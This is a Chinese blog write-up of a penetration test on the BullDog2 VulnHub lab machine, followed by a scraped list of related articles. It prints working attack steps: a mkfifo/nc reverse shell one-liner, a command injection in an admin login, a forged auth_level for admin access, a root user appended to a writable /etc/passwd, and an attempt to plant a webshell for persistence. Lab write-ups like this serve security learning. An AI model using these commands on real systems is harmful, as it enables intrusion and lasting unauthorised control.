在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理。


文章目录

  • 简介
  • 渗透步骤
    • 1、主机发现、端口扫描
    • 2、Web扫描、漏洞发现
    • 3、漏洞利用、GetShell
    • 4、权限提升,得到Flag
    • 续:种植后门
  • 总结

简介

靶机:

  • 名称:BullDog2
  • 系统:Linux
  • 难度:中级
  • 目标:进入根目录并查看祝贺消息

环境:

  • 靶机:BullDog2——192,168.11.19
  • 攻击机:Kali——192.168.11.11
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap

流程:

  1. 主机发现、端口扫描
  2. Web扫描、漏洞发现
  3. 漏洞利用、GetShell
  4. 权限提升、得到Flag

渗透步骤

1、主机发现、端口扫描


使用Nmap进行主机发现,扫描到目标主机

nmap -sn 192.168.11.1/24


详细扫描其开放端口及服务信息,发现只开启了一个80端口,服务器版本为Nginx

Nginx 1.14.0,查得该版本存在解析漏洞,后续作为一个切入点

nmap -sS -sV -T4 192.168.11.19


那么自然要进行目录扫描,使用dirb,扫描到两个目录,但是没有任何有用信息

dirb http://192.168.11.19

2、Web扫描、漏洞发现

访问目标站点,寻找突破口。发现有5个可点击的地方

3、4、5没有什么有用信息,先查看1和2

1中是一个登录界面,随意输入aaa aaa登录失败,进行抓包分析

看到传入参数为usernamepassword,自然想到尝试进行sql注入探测

使用sqlmap进行sql注入探测,POST注入无果,因此将其放在cookie里再次尝试

sqlmap -u "http://192.168.11.19/users/authenticate" --cookie="username=123&password=123" --level=2


在多次尝试后,依然没有成功,注入这条线暂时以失败告终。

继续查看Register板块,发现会提示错误,意识到这里肯定有问题!

最终在大佬的经验下得知:

  • 在进行渗透测试时,千万不要忽略JS源码泄漏,其中可能会有重要的信息。
  • 尤其是在这种靶机测试中,当没有突破口时,一般查看JS文件,都会有意外收获。

果不其然,检查网络文件发现,有4个JS文件,保存到本地进行代码审计

在sublime中使用 JsFormat 对源码进行整理,并想到之前页面功能包括以下两个部分:

  1. 登录:Login
  2. 注册:Register

最终在main.8b490782e52b9899e2a7.bundle.js文件得到相关信息:搜索关键字,Login相关如下

没有有用信息,继续搜索注册,发现了一些奥秘

得到了注册用户所涉及的内容类型和传参方式,以及注册路径,继续查找

又发现了在注册用户时,需要提供的参数。


ok,现在把得到的信息整理一下:

  • 登录页面正常,但是没有账户,无法登陆;
  • 注册页面报错,无法成功注册;
  • 有JS源码泄露,发现了注册用户的路径和Method;
  • 又发现了注册用户需要提交的参数。

综上,那么就可以抓包尝试进行构造注册请求,来注册用户,登录系统进一步探测了。


3、漏洞利用、GetShell

在登录界面,输入用户名密码均为qqq,抓包至Repeater模块

修改请求路径为JS文件中的注册路径:/users/register,添加其他注册必须的信息,发包

成功注册!现在尝试使用注册的账号:qqq - qqq进行登录,成功进入系统

右上角有Profile配置选项,但是点击后没有任何反应。

重新登录并抓包,选定响应该请求(Response to this request),查看响应包,检查一下是否有越权漏洞

在响应包中发现auth_level(身份等级)字段,似乎存在垂直越权

此时又想到了之前的JS文件,搜索auth_level关键字康康有没有什么线索

发现了一个疑似admin权限的身份标识:master_admin_user,尝试进行更改,然后提交

成功!越权得到了admin权限

点击Admin,出现一个管理界面,需要登录,但是使用任何账号密码登录都会报错

在JS文件里搜索关键字Dashboard也没有有用信息,再一次从网上寻求帮助。


最终从大佬的WriteUp中得知,此处存在命令执行漏洞,大佬是这样发现的:

  • 首先输入账号密码登录,抓包并制造报错,得到了项目名称

  • 在GitHub上查找到了托管的项目

  • 下载至本地,进行源码分析,发现此处疑似存在命令执行漏洞

  • 大佬指出,本次靶机实验大可不必进行源码审计,过于麻烦,毕竟可操作的选项就两个。

总结:
1、当目标站点使用了开源项目时,可将其保存至本地进行源码审计,或者在本地搭建一个一样的环境,更加方便测试。
2、输入框不仅有sql注入等漏洞,命令执行漏洞依然不能忽略。

OK,在得到大佬的帮助后,得知此处存在命令执行漏洞,那么直接利用即可。


象征性地进行验证一下,在密码处加入ping命令:ping 114.114.114.114

使用wireshark抓包发现,该命令已经执行,因此判断存在命令执行漏洞。
注: 网上说可以采用http://服务器ip,然后服务器主机监听80端口,根据是否有连接来判断是否有命令执行漏洞,但是未能成功,加入culr后也未成功。)

查到,使用以下语句即可建立反弹shell,具体原理后续会专门写一篇各种反弹shell的原理分析。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.11 9999 >/tmp/f;

使用nc打开kali的9999端口进行监听

发送带有反弹shell命令的数据包

此时Kali上已经成功建立反弹shell

查看一些相关的信息

但是这样的shell会话使用起来不够方便,我们使用python来建立一个bash会话

python -c 'import pty;pty.spawn("/bin/bash")'


初步判断,这应该就是网站根目录,后续可以进行种马

4、权限提升,得到Flag

先查看一下所有用户,存在一个root用户

最下方还有两个root权限用户(为之前测试所创建)

尝试使用当前账户创建一个root权限用户。

提示权限不足,因此当前用户并非root权限,需要提权。

也可以直接查看用户ID,当前UID为1001,非管理员权限


注:
UID为0的用户是超级用户, 就比如下方我的Kali主机的uid。

在Linux中用户分为3中:

  • 超级用户:root,UID为0
  • 普通用户:UID 5000 - 60000
  • 伪用户:UID 1 - 499

其中,伪用户最大的作用就是在一些系统操作或一些应用服务的调用的身份。


补充了一下Linux用户的知识,现在继续,查看一下passwd文件属性

所属用户为ooot,所属组为root组,而且当前权限为读写,因此可以直接向其中写入一个root权限的用户。


注:
一般都是查找当前用户下所有的可写文件,然后寻找突破口,查询语句如下:

find / -writable -type f 2>/dev/null |grep -v "/proc/"

可以看到,当前用户下,passwd文件可以写入

(但是实际中,一般这种passwd文件普通用户可写的情况是不存在的)


开始向passwd文件写入一个root权限的用户。

需要先生成一个hash后的密码,可以使用Linux自带的mkpasswd命令生成,密码为abcd

如果需要加盐的密码,可以使用crypt函数生成,密码为abcd,盐值为sa:

也可以在本机生成,粘贴过去即可

我直接使用没有加盐的,使用echo命令将其写入passwd文件内,注意格式:

echo 'abcd:GSA9jpckEYwa2:0:0:abcd:/root:/bin/bash' >> /etc/passwd


查看一下passwd文件内容

可以看到此时创建的abcd用户已经成功写入passwd文件,且权限为root,切换用户

OK,成功拿到root权限,提权成功,看一下flag

完成!该靶机的目标达到了,但是真正的渗透并未结束。


续:种植后门

至此,拿到了root权限,root权限可以在Web目录进行种马,保持持续连接。

之前已经提到了,刚进入系统时的目录其实就是Web根目录:

/var/www/node/Bulldog-2-The-Reckoning


可以在此处搜索一下当前页面的关键字:dashboard

成功搜索到了相关文件,说明此处的确为网站根目录,可以进行种马

但是,在该文件夹内写入测试文件后,访问404,后来以为访问方式的问题,就索性参照该模式建立一个对应的文件夹

因为发现在站点访问文件时,都是访问文件夹名,此处可能应该称之为模块名

所以想参照这种模式,但是依然失败,估计是在配置文件中将访问写死了,唉就暂时这样吧,后续的种马搞不动了。


总结

本次靶机渗透大致分为以下步骤:

  • 首先使用Nmap进行扫描,搜集主机及端口服务详细信息
  • 对开放的80端口进行检测,扫描其目录,但是未发现有用信息
  • 访问站点,对站点进行sql注入登漏洞检测,未发现漏洞
  • 查看网络文件,发现有JS关键信息泄漏,将其保存至本地进行代码审计
  • 根据页面信息以及JS源码得到了用户注册的相关信息,成功注册用户
  • 进入系统后,发现该系统存在越权漏洞,利用该漏洞成功越权到管理员权限
  • 在管理员界面的Admin栏目下,发现一个登录处存在命令执行漏洞
  • 利用该漏洞建立反弹shell,成功进入目标主机,但是此时用户权限为普通
  • 利用passwd文件不安全的设置问题(普通用户可写),创建root权限用户
  • 成功拿到root权限。

大致流程就是这样,期间有许多不理解的地方,能完成得益于网上的众多WriteUp,感谢!

如有问题还请指出。

【VulnHub靶机渗透】一:BullDog2相关推荐

  1. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  2. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  3. Vulnhub靶机渗透学习——DC-9

    本文仅个人学习所做笔记,仅供参考,有不足之处请指出! vulnhub靶机 vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试.提权. ...

  4. 【VulnHub靶机渗透】三:Billu_b0x

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学). 文章目录 ...

  5. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  6. 靶机渗透(一)——bulldog2

    一.靶机下载 靶机下载地址:https://download.vulnhub.com/bulldog/Bulldog2.ova 二.bulldog2靶机搭建 将刚刚下载完成的bulldog2.ova导 ...

  7. Vulnhub靶机渗透之Me and My Girlfriend

    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描,请求重发,漏洞扫描 ...

  8. Vulnhub靶机渗透之 AI: Web: 1

    靶机下载地址:AI:Web:1 Description: Difficulty: Intermediate Network: DHCP (Automatically assign) Network M ...

  9. vulnhub 靶机渗透:Stapler

    Stapler nmap扫描 21 端口 22 53端口 80端口 目录爆破 139端口 666 端口 3306端口 12380端口 获取数据库root权限 获取系统立足点 提权 其他思路 系统立足点 ...

最新文章

  1. pythonmysql数据库系统实战_Python实战之MySQL数据库操作
  2. command pattern
  3. Mongodb数据查询 | Mongodb
  4. c语言指针详解(概念示例)
  5. COLLATE oracle,Sql 中Collate用法
  6. MyEclipse2014破解
  7. 容器编排技术 -- Kubernetes kubectl create secret 命令详解
  8. ES6新特性_ES6生成器函数实例---JavaScript_ECMAScript_ES6-ES11新特性工作笔记022
  9. Eclipse 基于接口编程的时候,快速跳转到实现类的方法(图文)
  10. Java使用itextpdf生成PDF文件并添加斜面水印并完成下载(图片导出pdf)
  11. win7设置环境变量未生效
  12. 传统目标检测方法研究(一)
  13. 每日一道 LeetCode (4):罗马数字转整数
  14. php java扩展模块_php扩展模块装安装
  15. 哪些权重7权重8的网站怎么做的!我的站就是这么做的!轻量级泛目录无需数据库适合所有网站所有cms只需要放在根目录即可
  16. 我的Serverless实战—基于Serverless搭建一个简单的WordPress个人博客图文详解-JJZ
  17. 谈谈IBM布局的Bluemix和SoftLayer生态体系
  18. 【软考软件评测师】第二十九章 可靠性可用性测试
  19. asp毕业设计——基于asp+sqlserver的个人日志系统设计与实现(毕业论文+程序源码)——个人日志系统
  20. 使用Promise解决请求先后次序问题

热门文章

  1. 华为云存储空间图库占比太大_华为手机照片太多?放这里既安全又不占内存,瞬间腾出50G空间...
  2. java生成word排版_java生成word(文字和图片)
  3. 如何修改报表平台中数据决策系统登陆地址
  4. (转载)7 .24张小龙内部讲座《通过微信谈产品》完整版
  5. 碎片粘合:Tasking DD 启发的思考
  6. turnserver 搭建
  7. 基于STM32指纹密码锁设计
  8. java lpad oracle_oracle中lpad函数是干嘛用的?
  9. python过滤敏感词汇_利用Python正则表达式过滤敏感词的方法
  10. 学习Mac开发第四弹 通过NSImageView加载图片